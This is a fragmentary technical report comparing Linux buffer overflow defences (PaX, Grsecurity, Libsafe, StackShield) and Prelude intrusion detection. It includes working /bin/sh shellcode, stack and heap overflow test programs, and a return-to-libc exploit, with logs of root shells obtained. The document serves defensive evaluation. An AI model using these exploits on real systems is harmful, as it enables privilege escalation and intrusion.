static inline void pax_handle_pte(struct mm_struct *mm, unsigned long address)
void pax_handle_ptes(struct task_struct *tsk)
asmlinkage int pax_do_page_fault(struct pt_regs *regs, unsigned long error_code)
pax_do_page_fault
):
ret = pax_handle_read_fault(regs, address); switch (ret) { [...] default:
pax_handle_read_fault
has returned 1, and then we enter this section:
case 1: { char* buffer = (char*)__get_free_page(GFP_KERNEL); char* path=NULL; if (buffer) { struct vm_area_struct* vma; down_read(&mm->mmap_sem); vma = mm->mmap; while (vma) { if ((vma->vm_flags & VM_EXECUTABLE) && vma->vm_file) { break; } vma = vma->vm_next; } if (vma) path = d_path(vma->vm_file->f_dentry, vma->vm_file->f_vfsmnt, buffer, PAGE_SIZE); up_read(&mm->mmap_sem); }The part above tries to get the faulty binary path, and stores it in
path
, before printing the error log message:
printk(KERN_ERR "PAX: terminating task: %s(%s):%d, uid/euid: %u/%u, EIP: %08lX, ESP: %08lX\n", path, tsk->comm, tsk->pid, tsk->uid, tsk->euid, regs->eip, regs->esp); if (buffer) free_page((unsigned long)buffer); printk(KERN_ERR "PAX: bytes at EIP: "); for (i = 0; i < 20; i++) { unsigned char c; if (__get_user(c, (unsigned char*)(regs->eip+i))) { printk("<invalid address>."); break; } printk("%02x ", c); } printk("\n");Process and user information is printk'ed, as well as the bytes at the address pointed to by the instruction register.
tsk->thread.pax_faults.eip = 0; tsk->thread.pax_faults.count = 0; tsk->ptrace &= ~(PT_PAX_TRACE | PT_PAX_KEEPTF | PT_PAX_OLDTF); regs->eflags &= ~TF_MASK; tsk->thread.cr2 = address; tsk->thread.error_code = error_code; tsk->thread.trap_no = 14; force_sig(SIGKILL,tsk); return 0; } case 0: } }Before exiting, error fields concerning the process are filled, as well as PaX-specific information. Then, the process is killed.
system()
. Then we can manage to pass it a string argument such as /bin/sh
(arguments are the following bytes in the higher addresses). This way, we
force the execution of an unexpected function, without any attempt to execute
code int the stack or in the heap. This technique only requires to know the address of the library function we want to call, which is really easy!
\x90
, which is the real nop, or instructions that do nothing such as \x50
, which is push eax, ...
check_tlb
, called by detect_shellcode
for each known architecture; to every architecture corresponds a structure
containing among others a counter, and if the choosen limit is reached, an
alert must be sent:
/* * we want contiguous chain of NOP. reset counter. */ if ( ! found ) arch->nop_counter = 0; if ( arch->nop_counter == arch->nop_max ) { arch->continue_checking = -1; raise_alert(packet, arch); }
This allows Prelude to detect shellcode encapsulated in IP packets, as we will see later in an example.
Another trick is the shellcode encryption: the instructions we could clearly saw in the previous case are now encrypted, and the decryption mechanism is a third part of the shellcode. This means that the final code to transmit will be quite larger than in the previous case, which is a serious drawback, but much harder to discover. This depends on the encryption system: a xor based encryption is the most classical way to hide malevolent code without making it grow too much.
A second method is based on signatures; a set of known dangerous encrypted instructions could be used to compare the packet bytes to, but this would be excessively hard to trust as it would probably raise lots of false alerts.
Another method may consist in decoding the shellcode using several decryption methods, and each time compare the result to well-known shellcode signatures. This would require brute forcing and cannot reasonably be considered as a realistic solution.
http://www.research.avayalabs.com/project/libsafe/
We choose to install the latest version (libsafe-2.0.9), which implies to download the tarball and compile the sources.
glaume@sothis:~/tmp$ tar xzf libsafe-2.0-9.tgz glaume@sothis:~/tmp$ cd libsafe-2.0-9 glaume@sothis:~/tmp/libsafe-2.0-9$ ls ChangeLog doc exploits Makefile src COPYING EMAIL_NOTIFICATION INSTALL README tools glaume@sothis:~/tmp/libsafe-2.0-9$
The interesting directories are:
DEBUGGING OPTIONS # # Use # -DDEBUG_TURN_OFF_SYSLOG to temporarily turn off logging violations to # syslog. ONLY USE THIS FOR DEBUGGING! # -DDUMP_STACK to see a printout of the stack contents when a violation # is detected (dumps to LIBSAFE_DUMP_STACK_FILE or stderr if that # file cannot be created) # -DDUMP_CORE to create a core dump when terminating the program. # -DNOTIFY_WITH_EMAIL if you wish to be notified via email of security # violations that are caught with libsafe. DEBUG_FLAGS = -DDEBUG_TURN_OFF_SYSLOG \ -DDUMP_STACK \ -DLIBSAFE_DUMP_STACK_FILE=\"/tmp/libsafe_stack_dump\" \ -DDUMP_CORE \ # -DNOTIFY_WITH_EMAIL
Then you can compile and install the library: type make in the top directory, then su root, type make install, and it is done, you should have a /lib/libsafe.so.2.0.9 file on your system.
We have not encountered any trouble during the compilation or installation phase, and no special lib/package is necessary here.
http://www.grsecurity.net/download.htm
sothis:/usr/src/linux# cp /tmp/grsecurity-1.9.3a-2.4.17.patch . sothis:/usr/src/linux# ls COPYING Makefile arch include lib CREDITS README drivers init mm Documentation REPORTING-BUGS fs ipc net MAINTAINERS Rules.make grsecurity-1.9.3a-2.4.17.patch kernel scripts sothis:/usr/src/linux# patch -p1 < grsecurity-1.9.3a-2.4.17.patch
Then we can see a succession of 'patching file foobar' lines, each one telling us a new file has been patched.
The last menu entry (Grsecurity) has been added by the patch; let us enter this section and activate the Grsecurity field: this makes a list of new sub-menus appear.
We select the first one (Buffer Overflow Protection), which lets us see five new items:
Once our Kernel configuration is over, before compiling, we may wish to give an appropriate name to our brand new Kernel. If we have selected the OpenWall option, we may do this:
sothis:/usr/src/linux# vim Makefile VERSION = 2 PATCHLEVEL = 4 SUBLEVEL = 17 EXTRAVERSION = -grsec-1.9.3a-ow
sothis:/usr/src/linux# make dep clean bzImage modules modules_install install
sothis:/etc# vim lilo.conf # Boot up Linux by default. # default=Linux image=/boot/vmlinuz-2.2.18pre21 label=Linux read-only image=/boot/vmlinuz-2.4.17-grsec-1.9.3a-ow label=2417 read-only
sothis:/etc# lilo Added Linux * Added 2417 sothis:/etc#
http://www.angelfire.com/sk/stackshield/
We download the tarball, extract the sources, type make, and that is almost it... At that stage, we have built three binaries (stackshield, shieldg++ and shieldgcc), in the bin directory of the archive.
Now, we only have to add this directory to our path; for instance, if it has been installed in /opt/stackshield-0.7, we will type:
glaume@dante:/opt/stackshield-0.7$ export PATH=$PATH:/opt/stackshield-0.7/bin
A better solution consists in adding this directory to our path in a config file.
To use it, we compile our programs using shieldgcc instead of gcc, and shieldg++ instead of g++.
The Prelude project is available on SourceForge . Note that we need only three modules among the several we can see there, which are: libprelude, prelude-report and prelude-nids. Here is the information to get them from the CVS tree:
cvs -d:pserver:anonymous@cvs.prelude.sourceforge.net:/cvsroot/prelude login cvs -z3 -d:pserver:anonymous@cvs.prelude.sourceforge.net:/cvsroot/prelude co modulename
As we work on an unstable version here, we may experiment some difficulties, but this should work without too much trouble! Moreover, support and information are available on the website.
glaume@sothis:~/tmp/libsafe-2.0-9/exploits$ export LD_PRELOAD=/lib/libsafe.so.2.0.9 glaume@sothis:~/tmp/libsafe-2.0-9/exploits$ ./t1 This program tries to use strcpy() to overflow the buffer. If you get a /bin/sh prompt, then the exploit has worked. Press any key to continue... Detected an attempt to write across stack boundary. Terminating /home/glaume/tmp/libsafe-2.0-9/exploits/t1. uid=1000 euid=1000 pid=19982 Call stack: 0x40017504 0x40017624 0x804854c 0x4004065a Overflow caused by strcpy() Killed
Of course it implies that it works only when a user sets this environment variable properly. Moreover, this variable is ignored for SUID programs, which means that if it is set for a lambda user but is not set for root, an exploit on a SUID program will still work!
glaume@sothis:$ cat /etc/ld.so.preload /lib/libsafe.so.2
This is very simple to set up, and will take effect at the next boot of the machine, for every user or program. This way, even an exploit on SUID programs will fail and be killed.
sothis:/opt/prelude/bin# ./prelude-manager --mysql -d localhost -n prelude \ -u preludeuser -p preludepasswd --debug -v --shellcode - Initialized 2 reporting plugins. - Initialized 1 database plugins. - Subscribing Prelude NIDS data decoder to active decoding plugins. - Initialized 1 decoding plugins. - Subscribing MySQL to active database plugins. - Subscribing Debug to active reporting plugins. - Subscribing TextMod to active reporting plugins. - sensors server started (listening on 127.0.0.1:5554). - administration server started (listening on 0.0.0.0:5555). [unix] - accepted connection. [unix] - plaintext authentication succeed. [unix] - FIXME: (read_connection_cb) message to XML translation here. [unix] - sensor declared ident 3.This is run in a first shell, and will receive the alerts from registered agents. In a second shell, we run the program which will listen on our machine interface, and we do not forget to load the shellcode plugin.
sothis:/opt/prelude/bin# ./prelude-nids -i eth0 --shellcode - Initialized 3 protocols plugins. - Initialized 5 detections plugins. - Shellcode subscribed to : "[DATA]". - HttpMod subscribed for "http" protocol handling. - RpcMod subscribed for "rpc" protocol handling. - TelnetMod subscribed for "telnet" protocol handling. - ArpSpoof subscribed to : "[ARP]". - ScanDetect subscribed to : "[TCP,UDP]". /opt/prelude//etc/prelude-nids/ruleset/web-misc.rules (7) Parse error: Unknow key regex /opt/prelude//etc/prelude-nids/ruleset/web-misc.rules (65) Parse error: Unknow key regex /opt/prelude//etc/prelude-nids/ruleset/web-misc.rules (193) Parse error: Expecting ; - Signature engine added 889 and ignored 3 signature. - Connecting to Unix prelude Manager server. - Plaintext authentication succeed with Prelude Manager. - Initializing packet capture.
glaume@sothis:~/3.Enseirb/3I/Secu/Libsafe/libsafe-2.0-9/exploits$ ./t1 This program tries to use strcpy() to overflow the buffer. If you get a /bin/sh prompt, then the exploit has worked. Press any key to continue... Detected an attempt to write across stack boundary. Terminating /home/glaume/3.Enseirb/3I/Secu/Libsafe/libsafe-2.0-9/exploits/t1. uid=1000 euid=1000 pid=13156 Call stack: 0x4001831c 0x40018434 0x804854c 0x4004165a Overflow caused by strcpy() - Connecting to Unix prelude Manager server. - Plaintext authentication succeed with Prelude Manager. Killed
On the Prelude manager side, we receive the alert:
[unix] - accepted connection. [unix] - plaintext authentication succeed. [unix] - FIXME: (read_connection_cb) message to XML translation here. [unix] - sensor declared ident 4. 00:43:56 alert received: id=2652, analyzer id=0 unsopported target type [unix] - closing connection.This means the alert is received, which we can check thanks to the Prelude PHP frontend, or directly in the Prelude database. The idmef information is filled as follow:
This way we keep a trace of overflow attempts instead of just killing the faulty process. Moreover this system represents a much better way to alert an administrator than the mail warning Libsafe proposes, as it complies to the idmef draft, and thus tends to be more explicit and generic.
23:43:57 alert received: id=2169, analyzer id=0 SOURCE: 0 172.20.3.100 TARGET: 0 172.16.8.122 23:43:57 alert received: id=2170, analyzer id=0 SOURCE: 0 172.16.8.122 TARGET: 0 172.20.3.100
The first alert is the detected UDP packet, and the second one is the ICMP error message (Destination unreachable, port unreachable), which also contains the NOP bytes. This way, Prelude has detected an attempt to use shellcode on our machine according to the principle we have mentionned earlier. More than 60 NOP bytes have been detected (60 is the default threshold), so an alert is raised for both packets.
#include <stdio.h> #include <string.h> /* Code to execute: */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int argc, char *argv[]){ char buffer[96]; /* buffer to overflow */ int i; long *long_ptr = (long *)large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int)buffer; for (i = 0; i < (int)strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv){ int *ret; char *shellcode = (char*)malloc(64); sprintf(shellcode, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"); *((int*)&ret+2) = (int)shellcode; return 0; }
*((int*)&ret+2) = (int)shellcode;
) to point to the shellcode address. When main returns, it provides a shell.
#include <stdio.h> #include <string.h> #include <malloc.h> class A{ private: char str[32]; public: void setBuffer(char * temp){strcpy (str, temp);} virtual void printBuffer(){printf("%s\n", str);} }; // This is very theorical but we only want to test the concept char * buildBuffer (unsigned int bufferAddress, int vptrOffset, int numberAddres s) { char * outputBuffer; unsigned int * internalBuffer; unsigned int offsetShellCode = (unsigned int)vptrOffset - 1; int i=0; outputBuffer = (char *)malloc(vptrOffset + 4 + 1); for (i=0; i<vptrOffset; i++) outputBuffer[i]='\x90'; internalBuffer = (unsigned int *)outputBuffer; for (i=0;i<numberAddress;i++) internalBuffer[i]=bufferAddress + offsetSh ellCode; *(unsigned int *)&outputBuffer[vptrOffset]=bufferAddress; outputBuffer[offsetShellCode] = '\xCC'; outputBuffer[vptrOffset+4] = '\x00'; return (outputBuffer); } int main (void){ A *a1; a1 = new A; a1->setBuffer(buildBuffer((unsigned int) &(*a1), 32, 4)); a1->printBuffer(); return 0; }
a1->printBuffer()
. We just have a much more basic shellcode than before, as it is a one-byte instruction, \xCC
.
glaume@dante:~/Secu/Tests/Protection$ whoami glaume glaume@dante:~/Secu/Tests/Protection$ ./stack1 sh-2.05a# whoami root sh-2.05a#
glaume@dante:~/Secu/Tests/Protection$ whoami glaume glaume@dante:~/Secu/Tests/Protection$ ./heap sh-2.05a# whoami root sh-2.05a#
glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap
glaume@dante:~/Secu/Tests/Protection$ ./stack1 Detected an attempt to write across stack boundary. Terminating /home/glaume/Secu/Tests/Protection/stack1. uid=1001 euid=0 pid=295 Call stack: 0x40018534 0x40018654 0x80484fc 0x4003c65a Overflow caused by strcpy() Killed glaume@dante:~/Secu/Tests/Protection$
The overflow detection message is generated by Libsafe to specify:
glaume@dante:~/Secu/Tests/Protection$ whoami glaume glaume@dante:~/Secu/Tests/Protection$ ./heap sh-2.05a# whoami root sh-2.05a# glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap
glaume@dante:~/Secu/Tests/Protection$ ./stack1 Segmentation fault glaume@dante:~/Secu/Tests/Protection$
glaume@dante:~/Secu/Tests/Protection$ whoami glaume glaume@dante:~/Secu/Tests/Protection$ ./heap sh-2.05a# whoami root sh-2.05a# glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap
glaume@dante:~/Secu/Tests/Protection$ ./stack1 Killed Feb 9 16:25:00 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/stack1(stack1):333, uid/euid: 1001/0, EIP: BFFFFA9C, ESP: BFFFFB04 Feb 9 16:25:00 dante kernel: PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 0 7 89 46 0c b0 0b 89 f3 8d 4e glaume@dante:~/Secu/Tests/Protection$ ./heap Killed Feb 9 16:25:10 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/heap(heap):335, uid/euid: 1001/0, EIP: 08049690, ESP: BFFFFB14 Feb 9 16:25:10 dante kernel: PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 0 7 89 46 0c b0 0b 89 f3 8d 4e glaume@dante:~/Secu/Tests/Protection$ ./heap2 Killed Feb 13 11:32:43 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/heap2(heap2):387, uid/euid: 1001/1001, EIP: 08049CB7, ESP: BFFFFB20 Feb 13 11:32:43 dante kernel: PAX: bytes at EIP: cc 98 9c 04 08 00 00 00 00 b7 9 c 04 08 b7 9c 04 08 b7 9c 04
No protection | Libsafe | Open Wall | PaX | Stack Shield | |
stack1 | V | P | P | P | P |
heap1 | V | V | V | P | P |
heap2 | V | V | V | P | P |
Our aim is not to do a very precise study concerning these performances, but more to point out what Libsafe may change when we use its re-written functions, and if there is an important loss on basic programs when we use Grsecurity patches.
for(i = 0 ; i < N ; i++) vulnerable_function(destination_buffer, source_buffer);
As well, some programming languages such as ADA or Java (virtual machine) require an executable stack.
Some solutions exist (chpax, trampolines) but it may be seen as a breach in the wall we intend to build against buffer overflow attacks.
Some interesting information may be found here.
Nevertheless, the Open Wall patch is not supposed to decrease performances too significantly.
So, avoiding the known vulnerable functions is a first step which is not difficult and may greatly increase the code reliability. Moreover, gcc now warns coders when such functions are used! A good approach is to replace:
strcpy
with strncpy
strcat
with strncat
gets
with fgets
sprintf
with snprintf
Compiling this code with Stack shield would improve the security to a higher level.
char *strcpy(char *dest, const char *src) { ... 1 if ((len = strnlen(src, max_size)) == max_size) 2 _libsafe_die("Overflow caused by strcpy()"); 3 real_memcpy(dest, src, len + 1); 4 return dest; }Libsafe implements a function that computes the distance between the address of src and the address of the beginning of the current frame pointer. This distance is
max_size
in the piece of code above. It is the biggest length that src can reach
without overwriting the return address. An exception is raised only if this
value (max_size
) is reached, but nothing prevents us from committing a buffer overflow as long as our overflow is below max_size
. Therefore even if libsafe is on, we can still overwrite a pointer to a
function or a pointer to a filename (this kind of exploit is also explained
in the heap overflow section).
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 64 int this_fun(const char *str); int main(int argc, char **argv) { int (*fun)(const char *str); char buffer[BUFSIZE]; int (*func)(const char *str); printf("buffer address: %x\n", buffer); fun = (int (*)(const char *str))this_fun; printf("before overflow: fun points to %p\n", fun); func = (int (*)(const char *str))system; printf("func points to: %p\n", func); memset(buffer, 0, BUFSIZE); strcpy(buffer, argv[1]); printf("after overflow: fun points to %p\n", fun); (void)(*fun)(argv[2]); return 0; } int this_fun(const char *str) { printf("\nI was passed: %s\n", str); return 0; }
This program is vulnerable because:
The danger comes from the fact that strcpy
is unbound, thus we can write after the end (which is at buffer+BUFSIZE) and overwrites fun.
The overwritten fun could for instance points to system now instead of this_fun
.
This is realized through the following exploit:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 76 /* the estimated diff between funcptr/buf */ #define VULPROG "./lib_vul" /* vulnerable program location */ #define CMD "/bin/sh" /* command to execute if successful */ #define ERROR -1 int main(int argc, char **argv) { register int i; u_long sysaddr; char buf[80]; sysaddr = (u_long)&system - atoi(argv[1]); printf("trying system() at 0x%lx\n", sysaddr); memset(buf, 'A', sizeof(buf)); /* reverse byte order (on a little endian system) (ntohl equiv) */ for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, CMD, NULL); return 0; }sysaddr aims to guess the address of the system function (inside the libc) for the vulnerable program. Then it is copied inside buf which will be passed to the vulnerable program and will overwrite the value of fun (so after that fun will point to system). The argument of system is passed through the second argument of the vulnerable program (CMD).
strcat
) the reimplementation in the libsafe is even faster than the original version.
strcpy
or gets
to corrupt the stack, therefore they become inefficient on a system running libsafe.
Nevertheless, some applications, such as XFree86 server 4, cannot execute on a system with these restrictions. That may be a problem, at least a handicap.
But providing:
Moreover the global Grsecurity patch provides many other possibilities, from file system to process or networking protections. This patch is definitely highly recommended to enhance a Linux box security.
The other parts are only unix dedicated and concern tools for protecting a unix system against buffer overflows.
Her you may find ideas on how to proceed to configure your Kernel when it is patched with Grsecurity.
To do so, we may consider the following architecture:
printk
, which generates syslog messages (Kernel facility, error level). We want the messages to be sent to B, so that it can be handled by prelude-lml. All we need is to modify the syslog configuration on A; for instance we can add this in its /etc/syslogd.conf file, supposing that B's IP address is 172.20.3.100:
kern.err @172.20.3.100
This will redirect every Kernel log with at least an error level to the B machine, which will then be able to determine when a PaX alert must be sent to the Prelude manager.
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <libprelude/list.h> #include <libprelude/idmef-tree.h> #include <libprelude/idmef-tree-func.h> #include <libprelude/prelude-io.h> #include <libprelude/prelude-message.h> #include <libprelude/prelude-message-buffered.h> #include <libprelude/idmef-msg-send.h> #include <libprelude/idmef-message-id.h> #include <libprelude/sensor.h> #define PAX_INFO_URL "http://pageexec.virtualave.net/" // ------------------------------------------------------------------ // Common struct typedef struct _log_time { unsigned int hour; unsigned int minute; unsigned int sec; } log_time_t; typedef struct _log_date { char * month; unsigned int day; } log_date_t; typedef struct _log_common { log_date_t date; log_time_t time; char * hostname; char * facility; } log_common_t; // end of common struct // ------------------------------------------------------------------ // Message types enum msg_types { wtf_msg_type, tt_msg_type, dos_msg_type, dtlb_msg_type }; // ------------------------------------------------------------------ // struct WTF typedef struct _log_pax_wtf { log_common_t * common_info; char * comm; unsigned int pid; unsigned long fault_counter; } log_pax_wtf_t; // ------------------------------------------------------------------ // struct terminating task typedef struct _log_pax_terminating_task { log_common_t * common_info; char * path; char * comm; unsigned int pid; unsigned int uid; unsigned int euid; unsigned long eip; unsigned long esp; } log_pax_terminating_task_t; // end of struct terminating task // ------------------------------------------------------------------ // struct DOS typedef struct _log_pax_dos { log_common_t * common_info; char * comm; unsigned int pid; unsigned int uid; unsigned long eip; unsigned long esp; } log_pax_dos_t; // end of struct DOS // ------------------------------------------------------------------ // struct DTLB_TRASHING typedef struct _log_pax_dtlb_trashing { log_common_t * common_info; unsigned long counter; char * comm; unsigned int pid; unsigned long eip; unsigned long esp; unsigned long addr; } log_pax_dtlb_trashing_t; // ------------------------------------------------------------------ // fill the common struct and returns it log_common_t * fill_common (const char * log) { unsigned int temp_size = (unsigned int)(strlen(log)/3 + 1); log_common_t * common = (log_common_t *)malloc (sizeof(log_common_t)); common->date.month = (char *) malloc (temp_size * sizeof(char)); common->hostname = (char *) malloc (temp_size * sizeof(char)); common->facility = (char *) malloc (temp_size * sizeof(char)); sscanf (log, "%s %u %u:%u:%u %s %s", common->date.month, &common->date.day, &common->time.hour, &common->time.minute, &common->time.sec, common->hostname, common->facility); common->date.month = (char *)realloc(common->date.month, strlen(common->date.month)+1); common->hostname = (char *)realloc(common->hostname, strlen(common->hostname)+1); common->facility = (char *)realloc(common->facility, strlen(common->facility)+1); return common; } // ------------------------------------------------------------------ // fill a log_pax_wtf_t structure /* * Will get the information printk'ed by PaX in: * printk(KERN_ERR "PAX: wtf: %s:%d, %ld\n", * tsk->comm, tsk->pid, tsk->thread.pax_faults.count); */ int fill_wtf(log_pax_wtf_t * wtf, const char * log) { int filled; wtf->comm = (char *) malloc(strlen(log) * sizeof(char)); filled = sscanf(log, " %[^:]:%d, %ld", wtf->comm, &wtf->pid, &wtf->fault_counter); wtf->comm = realloc(wtf->comm, (strlen(wtf->comm) + 1) * sizeof(char)); return filled; } // ------------------------------------------------------------------ // fill a log_pax_terminanting_tast_t structure /* * Will get the information printk'ed by PaX in: * KERN_ERR "PAX: terminating task: %s(%s):%d, uid/euid: %u/%u, EIP: %08lX, ESP: %08lX\n", * path, tsk->comm, tsk->pid, tsk->uid, tsk->euid, regs->eip, regs->esp); */ int fill_terminating_task(log_pax_terminating_task_t * tt, const char * log) { int filled; tt->path = (char *) malloc(strlen(log) * sizeof(char)); tt->comm = (char *) malloc(strlen(log) * sizeof(char)); filled = sscanf(log, " %[^(](%[^)]):%d, uid/euid: %u/%u, EIP: %08lX, ESP: %08lX", tt->path, tt->comm, &tt->pid, &tt->uid, &tt->euid, &tt->eip, &tt->esp); tt->path = realloc(tt->path, (strlen(tt->path) + 1) * sizeof(char)); tt->comm = realloc(tt->comm, (strlen(tt->comm) + 1) * sizeof(char)); return filled; } // ------------------------------------------------------------------ // fill a log_pax_dos_t structure /* * Will get the information printk'ed by PaX in: * printk(KERN_ERR "PAX: preventing DoS: %s:%d, EIP: %08lX, ESP: %08lX\n", * tsk->comm, tsk->pid, regs->eip, regs->esp); */ int fill_dos(log_pax_dos_t * dos, const char * log) { int filled; dos->comm = (char *) malloc(strlen(log) * sizeof(char)); filled = sscanf(log, " %[^:]:%d, EIP: %08lX, ESP: %08lX", dos->comm, &dos->pid, &dos->eip, &dos->esp); dos->comm = realloc(dos->comm, (strlen(dos->comm) + 1) * sizeof(char)); return filled; } // ------------------------------------------------------------------ // fill a log_pax_dtlb_trashing_t structure /* * Will get the information printk'ed by PaX in: * printk(KERN_ERR "PAX: DTLB trashing, level %ld: %s:%d," * "EIP: %08lX, ESP: %08lX, cr2: %08lX\n", * tsk->thread.pax_faults.count - (PAX_SPIN_COUNT+1), * tsk->comm, tsk->pid, regs->eip, regs->esp, address); */ int fill_dtlb_trashing(log_pax_dtlb_trashing_t * dtlb, const char * log) { int filled; dtlb->comm = (char *) malloc(strlen(log) * sizeof(char)); filled = sscanf(log, " %ld: %[^:]:%d,EIP: %08lX, ESP: %08lX, cr2: %08lX", &dtlb->counter, dtlb->comm, &dtlb->pid, &dtlb->eip, &dtlb->esp, &dtlb->addr); dtlb->comm = realloc(dtlb->comm, (strlen(dtlb->comm) + 1) * sizeof(char)); return filled; } // ------------------------------------------------------------------ // auxiliary idmef functions static int fill_target(idmef_target_t * target, int type, unsigned long log_pax_struct) { idmef_node_t * node = idmef_target_node_new(target); idmef_process_t * process = idmef_target_process_new(target); idmef_user_t * user; idmef_userid_t * userid; if ( !(node && process) ) return -1; switch(type){ case(wtf_msg_type): idmef_string_set(&process->name, ((log_pax_wtf_t *)log_pax_struct)->comm); process->pid = ((log_pax_wtf_t *)log_pax_struct)->pid; idmef_string_set(&node->name, ((log_pax_wtf_t *)log_pax_struct)->common_info->hostname); break; case(tt_msg_type): user = idmef_target_user_new(target); idmef_string_set(&process->path, ((log_pax_terminating_task_t *)log_pax_struct)->path); idmef_string_set(&process->name, ((log_pax_terminating_task_t *)log_pax_struct)->comm); process->pid = ((log_pax_terminating_task_t *)log_pax_struct)->pid; idmef_string_set(&node->name, ((log_pax_terminating_task_t *)log_pax_struct)->common_info->hostname); if(user && (userid = idmef_user_userid_new(user))){ userid->type = current_user; userid->number = ((log_pax_terminating_task_t *)log_pax_struct)->uid; if((userid = idmef_user_userid_new(user))){ userid->type = user_privs; userid->number = ((log_pax_terminating_task_t *)log_pax_struct)->euid; } } break; case(dos_msg_type): idmef_string_set(&process->name, ((log_pax_dos_t *)log_pax_struct)->comm); process->pid = ((log_pax_dos_t *)log_pax_struct)->pid; idmef_string_set(&node->name, ((log_pax_dos_t *)log_pax_struct)->common_info->hostname); if(user && (userid = idmef_user_userid_new(user))){ userid->type = current_user; userid->number = ((log_pax_dos_t *)log_pax_struct)->uid; } break; case(dtlb_msg_type): idmef_string_set(&process->name, ((log_pax_dtlb_trashing_t *)log_pax_struct)->comm); process->pid = ((log_pax_dtlb_trashing_t *)log_pax_struct)->pid; idmef_string_set(&node->name, ((log_pax_dtlb_trashing_t *)log_pax_struct)->common_info->hostname); break; } return 0; } // ------------------------------------------------------------------ // global handling of the PaX log static int pax_log_processing(const char * log) { log_common_t * log_c = fill_common(log); char * tmp = (char *) malloc((strlen(log) + 1) * sizeof(char)); idmef_message_t * message = idmef_message_new(); idmef_alert_t * alert; prelude_msgbuf_t * msgbuf; char * tmp_save = tmp; if ( prelude_sensor_init("PaX", NULL, 0, NULL) < 0 ) { fprintf(stderr, "couldn't initialize Prelude library\n"); return -1; } if( !message ) return -1; msgbuf = prelude_msgbuf_new(0); if ( !msgbuf ) goto errbuf; /* Initialize the idmef structures */ idmef_alert_new(message); alert = message->message.alert; /* idmef_alert_detect_time_new(alert); idmef_alert_analyzer_time_new(alert); */ /* Verify it is a PAX log, ie if it is formatted as expected */ if((tmp = strstr(log, "PAX: "))){ int ret = 0; idmef_assessment_t * assessment; idmef_action_t * action; idmef_classification_t * classification; idmef_additional_data_t * additional; idmef_target_t * target; tmp = tmp + 5; /* tmp now points after 'PAX: ' */ /* * Analyzer section: genral information; * no node or process class is provided */ idmef_string_set_constant(&alert->analyzer.model, "PaX Linux Kernel patch"); idmef_string_set_constant(&alert->analyzer.class, "Non-executable Memory Page Violation Detection "); idmef_string_set_constant(&alert->analyzer.ostype, "Linux"); /* * Assessment section: bases are set here, more details further * Impact, Action, Confidence */ idmef_alert_assessment_new(alert); assessment = alert->assessment; idmef_assessment_impact_new(assessment); assessment->impact->severity = impact_medium; assessment->impact->completion = failed; assessment->impact->type = other; action = idmef_assessment_action_new(assessment); if( !action ) goto err; action->category = notification_sent; idmef_assessment_confidence_new(assessment); assessment->confidence->rating = high; /* * Classification section: * origin unknown by default, name specified further, url : cf sigmund */ classification = idmef_alert_classification_new(alert); if( !classification ) goto err; idmef_string_set_constant(&classification->url, PAX_INFO_URL); /* * Additional data section: contains the log message ? */ additional = idmef_alert_additional_data_new(alert); if ( !additional ) goto err; additional->type = string; idmef_string_set_constant(&additional->meaning, "PaX log message"); idmef_string_set(&additional->data, log); /* * Target section: the target is the machine using PaX * We have information on: * - the node: always * - the process: always * - the user: only in terminating task and dos * user: when euid is not uid we'll consider it's an attempt to * to become the user corresponding to euid */ target = idmef_alert_target_new(alert); if ( !target ) goto err; /* test in the subcases if we have a hostname or an addr */ /* Which kind of PaX msg are we dealing with ? */ if(strncmp(tmp, "wtf: ", 5) == 0){ log_pax_wtf_t wtf; wtf.common_info = log_c; tmp = tmp + 5; ret = fill_wtf(&wtf, tmp); if(ret != 3) goto err; fill_target(target, wtf_msg_type, (unsigned long)&wtf); goto msg; } if(strncmp(tmp, "terminating task: ", 18) == 0){ log_pax_terminating_task_t tt; tt.common_info = log_c; tmp = tmp + 18; ret = fill_terminating_task(&tt, tmp); if(ret != 7) goto err; fill_target(target, tt_msg_type, (unsigned long)&tt); idmef_string_set_constant(&assessment->impact->description, "Code execution in non-executable memory page detected and avoided by PaX"); idmef_string_set_constant(&action->description, "Process killed"); idmef_string_set_constant(&classification->name, "Forbidden Code Execution Attempt"); if( tt.uid != tt.euid){ if( tt.euid == 0) assessment->impact->type = admin; else assessment->impact->type = user; } goto msg; } if(strncmp(tmp, "preventing DoS: ", 16) == 0){ log_pax_dos_t pdos; pdos.common_info = log_c; tmp = tmp + 16; ret = fill_dos(&pdos, tmp); if(ret != 4) goto err; fill_target(target, dos_msg_type, (unsigned long)&pdos); assessment->impact->type = dos; idmef_string_set_constant(&assessment->impact->description, "DoS Attempt detected and avoided by PaX"); idmef_string_set_constant(&action->description, "Process killed"); idmef_string_set_constant(&classification->name, "DoS Attempt against the Kernel memory manager"); goto msg; } if(strncmp(tmp, " DTLB trashing, level ", 22) == 0){ log_pax_dtlb_trashing_t dtlb; dtlb.common_info = log_c; tmp = tmp + 22; ret = 